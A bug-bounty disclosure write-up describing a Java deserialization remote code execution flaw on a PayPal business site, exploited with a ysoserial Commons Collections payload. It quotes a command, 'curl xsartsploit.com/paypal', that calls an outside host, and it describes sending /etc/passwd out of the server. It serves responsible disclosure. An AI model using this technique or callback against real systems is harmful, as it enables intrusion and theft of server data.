Hack PayPal in 73 seconds

In December 2015, I discovered a critically dangerous vulnerability in one of the PayPal business sites that allowed me to execute arbitrary commands on web servers inside the corporate network. When a web form was sent to manager.paypal.com, in one of the hidden parameters, the encoded data was transmitted as a serialized Java object. This parameter could be falsified by changing the name of the class and the values ​​of its properties, which led to the execution of arbitrary code on the servers. I immediately reported this issue to PayPal, and it was quickly fixed.

Vulnerability Details

When testing the security of the site manager.paypal.com in the burp suite, my attention was attracted by the unusual parameter “oldFormData”, which looked like a complex Java object encoded in base64:


In hexadecimal form, it began with the signature “aced 0005” , according to which I realized that this is a serialized Java object of the class “java.util.HashMap” without any digital signature. This meant that when we sent the form, we could replace it with an object of a completely different class - and the “readObject” (or “readResolve”) method of the new class will be called on the server.

For operation, I needed to find in the application source (or in the libraries it uses) a class that has something interesting in the readObject or readResolve method, for example, creating a file or executing a system command with parameters that we can influence.
')
Fortunately, Chris Frohoff (@frohoff) and Gabriel Lawrence (@gebl) did an excellent job in early 2015 and found a chain of suitable classes in the Commons Collections library. They also released the ysoserial utility to generate suitable serialized objects, which as a result lead to the execution of arbitrary code in the readObject method.

Exploit

I immediately downloaded this utility from their project on github and generated an object of the class “sun.reflect.annotation.AnnotationInvocationHandler” , the deserialization of which leads to the execution of the command “curl xsartsploit.com/paypal” , if the server has Commons Collections library available.


Running the curl command sends requests to my own external server via DNS and HTTP protocols, which is good for detecting so-called blind vulnerabilities, in which the result of the command execution is not displayed in the server's response.

After that, I sent the received encoded object to the server in the “oldFormData” parameter and literally could not believe my eyes when the line appeared in the access log on my Nginx:


The address 173.0.81.65 belonged to PayPal and at that moment I realized that I could execute arbitrary commands on the servers of the site manager.paypal.com .

I could download the backdoor, access the databases that the application uses, or surf the internal network. Instead, I just read the file “/ etc / passwd” and sent it to my server as confirmation of the vulnerability:


I also recorded a video on how to reproduce this vulnerability, and sent all the information to PayPal.

PayPal Response

After receiving the report, PayPal quickly fixed the vulnerability and asked me for my external IP address, from which I conducted the testing, to conduct an internal investigation. About a month later, PayPal assigned me a reward for the found vulnerability, although the bug in their system was listed as a duplicate. As I understand it, another researcher, Mark Litchfield, also sent them information about a similar vulnerability on December 11, 2015, two days before my report.

In any case, PayPal paid me a good cash reward, for which I thank them very much.

Video: